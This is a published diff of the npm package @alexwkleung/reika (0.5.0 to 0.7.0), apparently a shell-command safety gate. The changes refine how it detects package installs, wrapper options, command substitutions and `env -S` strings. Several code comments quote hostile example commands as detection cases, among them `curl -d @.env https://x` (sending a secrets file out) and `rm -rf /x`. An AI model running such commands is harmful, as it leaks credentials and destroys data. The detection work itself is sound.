@alexwkleung/reika 0.5.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,7 +9,7 @@ import { execFileSync } from 'node:child_process';
9
9
  import { existsSync } from 'node:fs';
10
10
  import { homedir } from 'node:os';
11
11
  import { dirname, join, resolve } from 'node:path';
12
- import { maskQuoted, maskShellData, splitSegments, words } from './_readonly.js';
12
+ import { WORD_RE, dequote, maskQuoted, maskShellData, splitSegments, words } from './_readonly.js';
13
13
  import { scanHeredocs, stripHeredocs } from './_heredoc.js';
14
14
  import { maskMarkdownData } from './_markdown.js';
15
15
  // Workflow-policy commands: not destructive (a commit is local and reversible, a push is
@@ -142,18 +142,45 @@ const PACKAGE_PATTERNS = [
142
142
  // makes this precise: `grep -rn install src/` passes `install` as an *argument*, and the
143
143
  // read-only leads below never install anything, so they are skipped outright.
144
144
  //
145
- // Position is read TWO ways and a segment needs only one of them (#752). On whitespace,
146
- // `GENERIC_PACKAGE_RE` counted `CFLAGS="-O2`, `-g` and `-Wall"` in `make CFLAGS="-O2 -g -Wall"
147
- // install` as three leading tokens, so the verb landed past the budget and the install ran
145
+ // Position is read TWO ways, but only one of them reads every segment (#752, narrowed by #757). On
146
+ // whitespace, `GENERIC_PACKAGE_RE` counted `CFLAGS="-O2`, `-g` and `-Wall"` in `make CFLAGS="-O2 -g
147
+ // -Wall" install` as three leading tokens, so the verb landed past the budget and the install ran
148
148
  // unprompted; `genericVerbWord` reads the same shape off the shell's own words, where that value is
149
- // ONE token. The whitespace reading stays because `words()` drops a quote it cannot close and so
150
- // SPLITS an unterminated run (`FOO="a b` reads as `FOO=`, `a`, `b`), and the extra words can push
151
- // the verb past the budget — an under-report. Keeping both means quoting can add a label but never
152
- // cost one. A quote-aware token PATTERN was the rejected option: an anchored reader that also
153
- // tolerates an unterminated quote has two viable ends per token and re-explores every earlier one
154
- // (`GENERIC_PACKAGE_RE` ends in `install`, so a `""` run backtracks catastrophically). `words()` is
155
- // a lexer, so it costs one linear scan.
149
+ // ONE token. The whitespace reading exists for exactly one case: `words()` DROPS a quote it cannot
150
+ // close and so SPLITS an unterminated run (`FOO="a b` reads as `FOO=`, `a`, `b`), and the extra words
151
+ // can push the verb past the budget — an under-report. Unioned with the word reading on every segment
152
+ // it was also a false-positive machine, because the other half of the same weakness is that it cuts a
153
+ // CLOSED quoted argument at the spaces inside it: `cp -r "build install" dist` is one quoted argument
154
+ // to `cp`, which `words()` reads correctly and this reading re-accepted as a verb (#757). So it is
155
+ // consulted only where `words()` actually dropped a quote — the whole difference it was paying for —
156
+ // and nowhere else. The trade: an install carried in a CLOSED quoted value, `A="make install" bash -c
157
+ // "$A"`, is now read only off words, which sees one assignment word and reports nothing. That shape
158
+ // is indistinguishable from the false positive by any test cheaper than expanding the value, which is
159
+ // `bash`'s job and not this file's. A quote-aware token PATTERN stays the rejected option: an anchored
160
+ // reader that also tolerates an unterminated quote has two viable ends per token and re-explores every
161
+ // earlier one (`GENERIC_PACKAGE_RE` ends in `install`, so a `""` run backtracks catastrophically).
162
+ // `words()` is a lexer, so it costs one linear scan.
156
163
  const GENERIC_PACKAGE_RE = /^(?:\S+\s+){1,3}?(?:-{1,2}[\w-]+\s+)*(un)?install(?![\w./-])/;
164
+ function lexSegment(segment) {
165
+ const list = [];
166
+ let dropped = -1;
167
+ let at = 0;
168
+ for (const m of segment.matchAll(WORD_RE)) {
169
+ if (dropped < 0) {
170
+ const gap = segment.slice(at, m.index).search(/["']/);
171
+ if (gap >= 0)
172
+ dropped = at + gap;
173
+ }
174
+ list.push(dequote(m[0]));
175
+ at = m.index + m[0].length;
176
+ }
177
+ if (dropped < 0) {
178
+ const gap = segment.slice(at).search(/["']/);
179
+ if (gap >= 0)
180
+ dropped = at + gap;
181
+ }
182
+ return { words: list, dropped };
183
+ }
157
184
  // A flag token: the gap between the leading words and the verb.
158
185
  const GENERIC_FLAG_RE = /^-{1,2}[\w-]+$/;
159
186
  // A `VAR=value` operand (`make DESTDIR=/x install`) sits in the same gap: a make line carries
@@ -181,19 +208,94 @@ const READ_ONLY_LEAD_RE = /^(?:e?grep|fgrep|rg|ag|ack|find|man|which|type|wherei
181
208
  // release from a cluster, and a misleading label is its own bug: the warning text is what the
182
209
  // user reads to decide.
183
210
  const SELF_COVERED_LEAD_RE = /^(?:helm|kubectl|oc|docker|podman|terraform|tofu|pulumi)\b/;
211
+ const INSTALL_LABEL = 'Install command (fetches and runs third-party code)';
212
+ const UNINSTALL_LABEL = 'Uninstall command (removes third-party code)';
213
+ // Coreutils `install` COPIES files into place and fetches nothing (#794). It still prompts — an
214
+ // install into `/etc` under sudo is exactly what the gate is for — but with a label that is true.
215
+ const FILE_INSTALL_LABEL = 'File install (copies into place)';
216
+ // What makes a verb coreutils `install` is where the word sits, not which flags or how many operands
217
+ // follow it (#794): for coreutils the word IS the command (`install -m 644 a b`, `/usr/bin/install …`,
218
+ // `sudo install …`), and for `make install` / `conda install x` / `bundle install` it is an ARGUMENT
219
+ // to the command that does the installing. A flag set would have to guess — `make -C x install -j4`
220
+ // and `conda install -m 644 numpy` carry coreutils-looking flags too — and a path-operand count would
221
+ // call `conda install numpy src` a file copy. `quoted` is the segment after its assignments and
222
+ // wrappers are stripped, so its first word is the command the shell runs.
223
+ //
224
+ // A FRAGMENT is excluded because its first word is not a command word at all: `echo "$(date) install
225
+ // later"` is cut at `install`, which is a word of the same quoted argument (#794).
226
+ function isFileInstall(read, lexed) {
227
+ if (read.fragment)
228
+ return false;
229
+ const first = lexed.words[0] ?? '';
230
+ return first.slice(first.lastIndexOf('/') + 1) === 'install';
231
+ }
232
+ function segmentReads(segments) {
233
+ const reads = [];
234
+ for (const { text, fragment } of segments) {
235
+ const raw = text.trim();
236
+ if (!raw)
237
+ continue;
238
+ reads.push({
239
+ raw,
240
+ quoted: stripVerbPrefix(raw),
241
+ spaced: raw.replace(VERB_PREFIX_WS_RE, ''),
242
+ fragment,
243
+ });
244
+ }
245
+ return reads;
246
+ }
184
247
  // Reads `verbSegments`' segments, so the two per-segment readers agree on what a segment is (#749).
185
- function genericPackageLabel(segments) {
186
- for (const seg of segments.map(s => s.trim())) {
187
- if (!seg || READ_ONLY_LEAD_RE.test(seg) || SELF_COVERED_LEAD_RE.test(seg))
248
+ //
249
+ // The lead is tested after the verb prefix is stripped, not on the raw segment (#757): what a
250
+ // segment runs is the command behind its assignments and wrappers, and `LANG=C grep -rn install src`
251
+ // runs `grep` — an argument, not a verb — while the raw test saw `LANG=C`, missed the read-only lead,
252
+ // and asked `grep`'s own word list for an install it never had. `stripVerbPrefix` is `verbLabels`'
253
+ // strip, so both per-segment readers agree on which command a segment runs. It skips a wrapper's
254
+ // options too (`sudo -u me grep …`), and strips `command -v x` to nothing, since that runs nothing.
255
+ //
256
+ // The VERB is still read off the raw segment as well as the stripped one: the strip brings a deep
257
+ // verb inside the budget (`env A=1 sudo time conda install numpy`) and can also move one out of it
258
+ // (`sudo install -m 644 x /etc/x` has its verb at word 1, and word 0 is past this reader by design).
259
+ // Both readings, unioned — the same rule that keeps a label at least as wide as it was.
260
+ function genericPackageLabel(reads) {
261
+ let fileInstall = false;
262
+ for (const read of reads) {
263
+ if (!read.quoted ||
264
+ READ_ONLY_LEAD_RE.test(read.quoted) ||
265
+ SELF_COVERED_LEAD_RE.test(read.quoted)) {
266
+ continue;
267
+ }
268
+ const stripped = lexSegment(read.quoted);
269
+ // Decided per segment, so a file copy in one segment cannot relabel a real install in another
270
+ // (`make install && install -m 644 a b` is an Install, #843 review). The raw reading of this
271
+ // segment is skipped with it: `sudo install …` has its `install` at word 1 there.
272
+ if (isFileInstall(read, stripped)) {
273
+ fileInstall = true;
274
+ continue;
275
+ }
276
+ // A FRAGMENT names no verb of its own: its words belong to the command around the substitution,
277
+ // which the outer reading already reads whole. Read here, `A="$(date) x" install -m 644 a b`
278
+ // counted `x"` as a leading word and called the file copy a package install.
279
+ if (read.fragment)
188
280
  continue;
189
- const word = genericVerbWord(words(seg));
190
- const m = GENERIC_PACKAGE_RE.exec(seg);
191
- if (word === 'uninstall' || m?.[1])
192
- return 'Uninstall command (removes third-party code)';
193
- if (word === 'install' || m)
194
- return 'Install command (fetches and runs third-party code)';
281
+ for (const { seg, lex } of read.quoted === read.raw
282
+ ? [{ seg: read.raw, lex: stripped }]
283
+ : [
284
+ { seg: read.raw, lex: lexSegment(read.raw) },
285
+ { seg: read.quoted, lex: stripped },
286
+ ]) {
287
+ const word = genericVerbWord(lex.words);
288
+ // The whitespace reading only where `words()` split a quote it could not close, and only for a
289
+ // verb that quote comes before — see above.
290
+ const ws = lex.dropped >= 0 ? GENERIC_PACKAGE_RE.exec(seg) : null;
291
+ const m = ws && lex.dropped < ws[0].length ? ws : undefined;
292
+ if (word === 'uninstall' || m?.[1])
293
+ return UNINSTALL_LABEL;
294
+ if (word === 'install' || m)
295
+ return INSTALL_LABEL;
296
+ }
195
297
  }
196
- return undefined;
298
+ return fileInstall ? FILE_INSTALL_LABEL : undefined;
197
299
  }
198
300
  // Cluster and container CLIs get the OPPOSITE polarity from the install patterns above, and the
199
301
  // reason is the risk asymmetry. Read verbs are a small closed set; mutating verbs are a long open
@@ -650,8 +752,63 @@ const SHELL_WORD_RE = /(?:"(?:[^"\\]|\\[\s\S])*"|\$'(?:[^'\\]|\\[\s\S])*'|'[^']*
650
752
  const NON_SPACE_RUN_RE = /\S*/y;
651
753
  const WORD_GAP_RE = /\s+/y;
652
754
  const ENV_ASSIGN_WORD_RE = /^[A-Za-z_]\w*=/;
755
+ // A wrapper's own options sit between it and the command it runs (`sudo -u me grep …`, `env -i …`,
756
+ // `time -p …`); left in place, the option became the lead and the command behind it read as an
757
+ // argument (#757 review). These are the options that consume the next word as their value, in their
758
+ // SHORT spellings; the long ones are `WRAPPER_LONG_VALUE_OPTIONS` below and the bundled ones are
759
+ // `wrapperOptionValue`'s last clause (#794). Both lists are closed on purpose: an option nobody
760
+ // enumerated costs a label, which is the direction this file errs in.
761
+ const WRAPPER_VALUE_OPTIONS = {
762
+ sudo: new Set(['-u', '-g', '-U', '-C', '-D', '-h', '-p', '-r', '-t', '-T', '-R']),
763
+ env: new Set(['-u', '-C', '-S', '-P']),
764
+ exec: new Set(['-a']),
765
+ time: new Set(['-o', '-f']),
766
+ };
767
+ // The same options spelled out: `sudo --user me curl …` and `env --chdir /x make install` hid the
768
+ // command behind them exactly as the short spellings did (#794).
769
+ const WRAPPER_LONG_VALUE_OPTIONS = {
770
+ sudo: new Set([
771
+ '--user',
772
+ '--group',
773
+ '--other-user',
774
+ '--close-from',
775
+ '--chdir',
776
+ '--host',
777
+ '--prompt',
778
+ '--role',
779
+ '--type',
780
+ '--command-timeout',
781
+ ]),
782
+ env: new Set(['--unset', '--chdir', '--split-string', '--path']),
783
+ exec: new Set(['--argv0']),
784
+ time: new Set(['--output', '--format']),
785
+ };
786
+ const WRAPPER_WORDS = new Set(['sudo', 'command', 'nohup', 'exec', 'env', 'time']);
787
+ // `command -v x` looks `x` up and runs nothing, so it has no verb at all.
788
+ const COMMAND_LOOKUP_RE = /^-[a-zA-Z]*[vV]/;
789
+ // Whether a wrapper option consumes the NEXT word as its value. `word` has already been read as an
790
+ // option. A long spelling carrying `=` (`--user=me`) keeps its value attached and eats nothing.
791
+ function wrapperOptionValue(wrapper, word) {
792
+ if (WRAPPER_VALUE_OPTIONS[wrapper]?.has(word))
793
+ return true;
794
+ if (WRAPPER_LONG_VALUE_OPTIONS[wrapper]?.has(word))
795
+ return true;
796
+ // A BUNDLED short spelling (`sudo -iu me`, `env -iu PATH …`) follows getopt: the letters are read
797
+ // left to right, and the FIRST one that takes a value takes the rest of the bundle as that value
798
+ // (`-ume` is `-u me`, `-of x` is `-o f`) unless it is the bundle's LAST letter, in which case the
799
+ // value is the next word (`-iu me` is `-i -u me`). Anything else is a flag that eats nothing.
800
+ if (!/^-[a-zA-Z]+$/.test(word))
801
+ return false;
802
+ for (let i = 1; i < word.length; i++) {
803
+ if (WRAPPER_VALUE_OPTIONS[wrapper]?.has(`-${word[i]}`))
804
+ return i === word.length - 1;
805
+ }
806
+ return false;
807
+ }
653
808
  function stripVerbPrefix(segment) {
654
809
  let at = 0;
810
+ let wrapper;
811
+ let takesValue = false;
655
812
  for (;;) {
656
813
  SHELL_WORD_RE.lastIndex = at;
657
814
  let end = SHELL_WORD_RE.exec(segment) ? SHELL_WORD_RE.lastIndex : at;
@@ -661,11 +818,30 @@ function stripVerbPrefix(segment) {
661
818
  end = NON_SPACE_RUN_RE.lastIndex;
662
819
  }
663
820
  const word = segment.slice(at, end);
821
+ if (wrapper === 'command' && COMMAND_LOOKUP_RE.test(word))
822
+ return '';
823
+ const isOption = wrapper !== undefined && (takesValue || word.startsWith('-'));
664
824
  WORD_GAP_RE.lastIndex = end;
665
825
  const gap = WORD_GAP_RE.exec(segment);
666
- if (!gap || !(VERB_PREFIX_WORD_SET.has(word) || ENV_ASSIGN_WORD_RE.test(word))) {
826
+ if (!gap || !(isOption || VERB_PREFIX_WORD_SET.has(word) || ENV_ASSIGN_WORD_RE.test(word))) {
667
827
  return segment.slice(at);
668
828
  }
829
+ if (takesValue) {
830
+ takesValue = false;
831
+ }
832
+ else if (isOption) {
833
+ // `--` ends the wrapper's options: the next word is the command, even one spelled `-x`.
834
+ if (word === '--')
835
+ wrapper = undefined;
836
+ else
837
+ takesValue = wrapperOptionValue(wrapper, word);
838
+ }
839
+ else if (WRAPPER_WORDS.has(word)) {
840
+ wrapper = word;
841
+ }
842
+ else if (!ENV_ASSIGN_WORD_RE.test(word)) {
843
+ wrapper = undefined;
844
+ }
669
845
  at = WORD_GAP_RE.lastIndex;
670
846
  }
671
847
  }
@@ -789,8 +965,14 @@ function verbData(command) {
789
965
  const syntax = maskShellData(command);
790
966
  const masked = maskQuoted(command);
791
967
  const scan = scanHeredocs(command);
792
- if (scan.uncertain || shellOutsideBodies(command, scan.heredocs))
793
- return { syntax, pasted: [] };
968
+ if (scan.uncertain)
969
+ return { syntax, pasted: [], substitutions: [] };
970
+ // A shell anywhere in the command keeps every body in the scan, but the substitution spans are
971
+ // still the lexer's own: without them `FOO="$(date) a b c" make install && bash x.sh` lost the
972
+ // outer reading for naming a shell (#843 review).
973
+ if (shellOutsideBodies(command, scan.heredocs)) {
974
+ return { syntax, pasted: [], substitutions: scan.substitutions };
975
+ }
794
976
  const pasted = [];
795
977
  for (const h of scan.heredocs) {
796
978
  if (!h.literal)
@@ -820,23 +1002,38 @@ function verbData(command) {
820
1002
  continue;
821
1003
  pasted.push([h.bodyStart - 1, h.bodyEnd]);
822
1004
  }
823
- return { syntax, pasted };
1005
+ return { syntax, pasted, substitutions: scan.substitutions };
824
1006
  }
825
- // A separator the mask blanked is not found at all, so the segment it sits in runs on to the next
826
- // real one: cutting there and dropping the rest hid `FOO="a;b" make install` (#749).
827
- function verbSegments(command, pasteBodies) {
828
- const { syntax, pasted: found } = verbData(command);
829
- const pasted = pasteBodies ? found : [];
830
- // The shell deletes a line continuation, so the readers see it as the space it leaves; an escaped
831
- // backslash before a newline is not one, and the mask is what tells them apart.
832
- const text = command.replace(/\\\n/g, (m, at) => syntax[at] === ' ' && syntax[at + 1] === ' ' ? ' ' : m);
1007
+ // The command with each of `ranges` blanked, length-preserving so it still indexes the same way as
1008
+ // the masks built from the same text. Blanked to a placeholder WORD rather than to spaces, because a
1009
+ // substitution is a word of the command and can be its command word: blanked to spaces,
1010
+ // `$(which conda) install numpy` read as coreutils `install` (#843 review). Sorted by start, which is
1011
+ // what makes a NESTED range harmless: the lexer records a substitution when it CLOSES, so an inner one
1012
+ // is listed before the `$(…)` around it, and blanking the outer first covers the inner already.
1013
+ function blankRanges(text, ranges) {
1014
+ let out = '';
1015
+ let at = 0;
1016
+ for (const r of [...ranges].sort((a, b) => a.start - b.start)) {
1017
+ if (r.start < at)
1018
+ continue;
1019
+ out += `${text.slice(at, r.start)}${'_'.repeat(r.end - r.start)}`;
1020
+ at = r.end;
1021
+ }
1022
+ return out + text.slice(at);
1023
+ }
1024
+ // One pass of the separator walk: `text` cut at every separator `view` finds outside a pasted heredoc
1025
+ // body. Split out because `verbSegments` runs it over two views of one command (#794).
1026
+ function splitAt(text, view, pasted, substitutions) {
833
1027
  const segments = [];
1028
+ // Where each substitution CLOSED, so the fragment test is a lookup rather than a scan of the spans
1029
+ // for every segment — a long script is one command, and both lists can be thousands long.
1030
+ const closes = new Set(substitutions.map(s => s.end));
834
1031
  let start = 0;
835
1032
  let keep = true;
836
1033
  VERB_SEPARATOR_RE.lastIndex = 0;
837
- for (let m = VERB_SEPARATOR_RE.exec(syntax); m; m = VERB_SEPARATOR_RE.exec(syntax)) {
1034
+ for (let m = VERB_SEPARATOR_RE.exec(view); m; m = VERB_SEPARATOR_RE.exec(view)) {
838
1035
  if (keep)
839
- segments.push(text.slice(start, m.index));
1036
+ segments.push({ text: text.slice(start, m.index), fragment: closes.has(start) });
840
1037
  start = m.index + m[0].length;
841
1038
  // A separator inside a pasted body ends nothing the shell runs, so the text it closes is not a
842
1039
  // segment of its own — and `keep` goes false, which is what holds the body's own lines out of
@@ -850,19 +1047,43 @@ function verbSegments(command, pasteBodies) {
850
1047
  keep = !pasted.some(([from, to]) => m.index + m[0].length > from && m.index + m[0].length <= to);
851
1048
  }
852
1049
  if (keep)
853
- segments.push(text.slice(start));
1050
+ segments.push({ text: text.slice(start), fragment: closes.has(start) });
854
1051
  return segments;
855
1052
  }
856
- function verbLabels(segments) {
1053
+ // A separator the mask blanked is not found at all, so the segment it sits in runs on to the next
1054
+ // real one: cutting there and dropping the rest hid `FOO="a;b" make install` (#749).
1055
+ //
1056
+ // Splitting at a substitution is right for the question INSIDE it — `$(curl …)` runs — but it takes
1057
+ // the head of the command the substitution sits in, so `FOO="$(date) a b c" make install` leaves the
1058
+ // tail `a b c" make install` reading as five leading words and an install nobody sees (#794). The
1059
+ // outer reading is therefore run as well, over the same command with each substitution blanked: to
1060
+ // the shell that value is one assignment word, and everything after it is that command's verb
1061
+ // position. Blanking rather than deleting keeps the indices, and a substitution's own quotes and
1062
+ // separators go with it, so the outer text is if anything more balanced than the command was. Both
1063
+ // readings are reported — one shell line can be both (`docker run "$(cat img)" rm -rf /x`), and a
1064
+ // label the split dropped is what this adds back.
1065
+ //
1066
+ // The outer pass marks nothing a fragment: its segments are cut from text whose substitutions are
1067
+ // gone, so every boundary it finds is a separator the shell sees.
1068
+ function verbSegments(command, pasteBodies) {
1069
+ const { syntax, pasted: found, substitutions } = verbData(command);
1070
+ const pasted = pasteBodies ? found : [];
1071
+ // The shell deletes a line continuation, so the readers see it as the space it leaves; an escaped
1072
+ // backslash before a newline is not one, and the mask is what tells them apart.
1073
+ const text = command.replace(/\\\n/g, (m, at) => syntax[at] === ' ' && syntax[at + 1] === ' ' ? ' ' : m);
1074
+ const inner = splitAt(text, syntax, pasted, substitutions);
1075
+ if (substitutions.length === 0)
1076
+ return inner;
1077
+ const outer = blankRanges(text, substitutions);
1078
+ return [...inner, ...splitAt(outer, maskShellData(outer), pasted, [])];
1079
+ }
1080
+ function verbLabels(reads) {
857
1081
  const hits = [];
858
- for (const segment of segments) {
859
- const trimmed = segment.trim();
1082
+ for (const read of reads) {
860
1083
  // Both prefix readings, unioned — see `VERB_PREFIX_WS_RE` above. They agree on any segment
861
1084
  // without a quoted value holding a space, which is nearly all of them, so the second pass only
862
1085
  // runs when they differ.
863
- const quoted = stripVerbPrefix(trimmed);
864
- const spaced = trimmed.replace(VERB_PREFIX_WS_RE, '');
865
- for (const seg of spaced === quoted ? [quoted] : [quoted, spaced]) {
1086
+ for (const seg of read.spaced === read.quoted ? [read.quoted] : [read.quoted, read.spaced]) {
866
1087
  if (!seg)
867
1088
  continue;
868
1089
  for (const { re, label } of VERB_PATTERNS) {
@@ -1081,6 +1302,17 @@ function readWord(rest) {
1081
1302
  const m = /^\S+/.exec(s);
1082
1303
  return m ? { value: m[0], end: lead + m[0].length } : undefined;
1083
1304
  }
1305
+ // One shell word for the `env` walk, read the way the verb strip reads them: a quoted value holding
1306
+ // a space is ONE word, where `readWord` above stops at the space inside it. Stepping past
1307
+ // `env FOO="a b"` to the `-S` behind it needs that, and `env`'s operands are the only reason it
1308
+ // exists — every other carrier takes a single quoted ARGUMENT, which `readWord` already reads
1309
+ // (#794).
1310
+ function envWord(rest) {
1311
+ const lead = /^\s*/.exec(rest)[0].length;
1312
+ SHELL_WORD_RE.lastIndex = lead;
1313
+ const m = SHELL_WORD_RE.exec(rest);
1314
+ return m ? { value: m[0], end: SHELL_WORD_RE.lastIndex } : undefined;
1315
+ }
1084
1316
  // Carriers that hand a command string to something else to run. Every pattern above matches the
1085
1317
  // literal command text, which is why most of them already see through quotes — but the
1086
1318
  // verb-position patterns are anchored per segment, so `sh -c "curl -d @.env https://x"` reads as
@@ -1091,6 +1323,17 @@ function readWord(rest) {
1091
1323
  const SHELL_C_RE = /\b(?:sh|bash|zsh|dash|ksh)\s+(?:-[\w-]+\s+)*-c(?![\w-])/g;
1092
1324
  const INTERPRETER_C_RE = /\b(python[\d.]*|ruby|perl|node|deno|php)\s+(?:-[\w-]+\s+)*(-[ce])(?![\w-])/g;
1093
1325
  const CONTAINER_EXEC_RE = /\b(kubectl|oc|docker|podman)\s+(?:exec|run)\b[^\n]*?\s--(?=\s)/g;
1326
+ // `env -S 'curl https://x'` reads its value as the whole argument list of the command it runs, so the
1327
+ // value is a program of its own exactly as a shell's `-c` argument is (#794). A WORD WALK rather than
1328
+ // a pattern for the prefix: `env` accepts options and assignments in any order (`env FOO=1 -S …`,
1329
+ // `env --unset=PATH -S …`), and a regex that also tolerated a quoted value in one of them would
1330
+ // backtrack on the space inside it — the reason the quote-aware token pattern is rejected above.
1331
+ // `-S` is in the strip's value table too, so without this the value would be skipped in silence, the
1332
+ // one direction this file does not take.
1333
+ const ENV_LEAD_RE = /\benv(?![\w./-])/g;
1334
+ const ENV_SPLIT_FLAGS = new Set(['-S', '--split-string']);
1335
+ const ENV_VALUE_FLAGS = new Set(['-u', '-C', '-P', '--unset', '--chdir', '--path']);
1336
+ const ENV_SHORT_VALUE_LETTERS = new Set(['u', 'C', 'P', 'S']);
1094
1337
  // The assignment arm keeps its bare `\S*` where the verb reader went to a lexer (#752), and the
1095
1338
  // trailing `ssh` is why: a quoted value has two viable ends (up to the space, or at the closing
1096
1339
  // `"`) and an `ssh` that fails to appear makes the engine re-explore every earlier token's choice.
@@ -1120,6 +1363,66 @@ function nestedBodies(command) {
1120
1363
  for (const m of command.matchAll(CONTAINER_EXEC_RE)) {
1121
1364
  push(`${m[1]} exec`, command.slice(m.index + m[0].length), false);
1122
1365
  }
1366
+ // A walk rather than one `readWord`, because `env` takes its options and its `VAR=value` operands
1367
+ // in any order. The words come off `SHELL_WORD_RE` — the strip's own reader — so a quoted value
1368
+ // holding a space (`env FOO="a b" -S …`) is one word and the `-S` behind it is reachable.
1369
+ for (const m of command.matchAll(ENV_LEAD_RE)) {
1370
+ let rest = command.slice(m.index + m[0].length);
1371
+ for (;;) {
1372
+ const w = envWord(rest);
1373
+ if (!w)
1374
+ break;
1375
+ const raw = rest.slice(0, w.end);
1376
+ rest = rest.slice(w.end);
1377
+ const word = dequote(w.value);
1378
+ if (ENV_SPLIT_FLAGS.has(word)) {
1379
+ const body = readWord(rest);
1380
+ if (body)
1381
+ push('env -S', body.value, false);
1382
+ break;
1383
+ }
1384
+ const attached = '--split-string=';
1385
+ if (word.startsWith(attached)) {
1386
+ // The value is read off the RAW word after the `=`, since `word` has it dequoted and
1387
+ // `readWord` knows how to unwrap the quotes it may still be wearing.
1388
+ const body = readWord(raw.slice(raw.indexOf('=') + 1));
1389
+ if (body)
1390
+ push('env -S', body.value, false);
1391
+ break;
1392
+ }
1393
+ // Anything `env` runs a command with has to be an option or a `VAR=value`; the first other
1394
+ // word is that command, and it is not a split string.
1395
+ if (!word.startsWith('-') && !ENV_ASSIGN_WORD_RE.test(word))
1396
+ break;
1397
+ // A short bundle, read as getopt reads it (see `wrapperOptionValue`): the first value-taking
1398
+ // letter takes the rest of the word, or the next word when it is last. `-iS "curl …"` and
1399
+ // `-S'curl …'` are both a split string, and skipping them would hide the command (#843 review).
1400
+ const bundle = /^-[a-zA-Z]/.test(w.value) && !w.value.startsWith('--') ? w.value : '';
1401
+ const at = [...bundle].findIndex((c, i) => i > 0 && ENV_SHORT_VALUE_LETTERS.has(c));
1402
+ if (at > 0) {
1403
+ const attachedValue = at < bundle.length - 1;
1404
+ if (bundle[at] === 'S') {
1405
+ const body = attachedValue ? readWord(bundle.slice(at + 1)) : readWord(rest);
1406
+ if (body)
1407
+ push('env -S', body.value, false);
1408
+ break;
1409
+ }
1410
+ if (!attachedValue) {
1411
+ const arg = envWord(rest);
1412
+ if (!arg)
1413
+ break;
1414
+ rest = rest.slice(arg.end);
1415
+ }
1416
+ continue;
1417
+ }
1418
+ if (ENV_VALUE_FLAGS.has(word)) {
1419
+ const arg = envWord(rest);
1420
+ if (!arg)
1421
+ break;
1422
+ rest = rest.slice(arg.end);
1423
+ }
1424
+ }
1425
+ }
1123
1426
  // `ssh [flags] host <command…>`: skip the flags and their arguments, skip the host, and the
1124
1427
  // rest is what runs on the far side — quoted as one word or spelled out as several.
1125
1428
  for (const m of command.matchAll(SSH_LEAD_RE)) {
@@ -1279,9 +1582,11 @@ function detectAtDepth(rawCommand, depth, cwd) {
1279
1582
  }
1280
1583
  // A shell's `-c` program pastes nothing: a heredoc there can be a `$(cat <<'EOF' …)` whose
1281
1584
  // output IS the program, and the shell that runs it was named one level up, out of sight here.
1282
- const segments = verbSegments(command, depth === 0);
1585
+ // The two per-segment readers below want the same strips, and each one is a walk, so they are read
1586
+ // once here and handed to both (#794).
1587
+ const reads = segmentReads(verbSegments(command, depth === 0));
1283
1588
  for (const label of [
1284
- ...verbLabels(segments),
1589
+ ...verbLabels(reads),
1285
1590
  remoteExecLabel(command, cwd),
1286
1591
  checkoutPathLabel(command, cwd),
1287
1592
  ]) {
@@ -1292,7 +1597,7 @@ function detectAtDepth(rawCommand, depth, cwd) {
1292
1597
  // reports one precise label instead of two overlapping ones. Every install/uninstall label
1293
1598
  // above contains the word, which is what makes this cheap test sufficient.
1294
1599
  if (!hits.some(h => /install/i.test(h))) {
1295
- const generic = genericPackageLabel(segments);
1600
+ const generic = genericPackageLabel(reads);
1296
1601
  if (generic)
1297
1602
  hits.push(generic);
1298
1603
  }
@@ -19,7 +19,8 @@ const DEFAULT_IDLE_MS = 5 * 60_000;
19
19
  const KILL_GRACE_MS = 2_000;
20
20
  const MAX_PAYLOAD_BYTES = 64 * 1024;
21
21
  const OUTPUT_TAIL_BYTES = 2 * 1024;
22
- const OUTPUT_TAIL_LINES = 10;
22
+ // Exported for the live tail (ui/Scrollback.tsx), which must never draw more rows than this chip.
23
+ export const OUTPUT_TAIL_LINES = 10;
23
24
  // Retained for the UI chip's last-lines view. Larger than OUTPUT_TAIL_BYTES so the slice to 10
24
25
  // lines always has enough to work with even when lines are long, and small enough to be free.
25
26
  const UI_TAIL_BYTES = 4 * 1024;